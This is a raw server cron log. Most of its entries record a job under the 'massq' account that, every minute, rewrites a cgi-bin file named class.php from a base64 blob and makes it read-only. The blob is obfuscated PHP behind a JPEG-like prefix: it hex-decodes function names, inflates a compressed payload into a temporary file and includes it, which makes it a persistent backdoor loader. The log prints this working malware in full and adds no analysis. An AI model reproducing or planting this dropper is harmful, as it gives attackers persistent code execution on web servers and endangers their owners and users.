Nov 10 17:50:01 server CROND[17344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:50:01 server CROND[17343]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 17:50:01 server CROND[17346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:51:01 server CROND[18263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:52:01 server CROND[19077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:53:01 server CROND[19450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:54:01 server CROND[20337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:55:01 server CROND[21159]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:55:01 server CROND[21161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:55:01 server CROND[21160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:56:01 server CROND[22028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:57:01 server CROND[22841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:57:01 server CROND[22842]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 17:58:01 server CROND[23338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:59:01 server CROND[24252]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:00:01 server CROND[25084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 18:00:01 server CROND[25087]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 18:00:01 server CROND[25090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:00:01 server CROND[25088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:00:01 server CROND[25089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:01:01 server CROND[25953]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 18:01:01 server CROND[25954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:01:01 server run-parts(/etc/cron.hourly)[25953]: starting 0anacron
Nov 10 18:01:01 server run-parts(/etc/cron.hourly)[25967]: finished 0anacron
Nov 10 18:02:01 server CROND[26787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
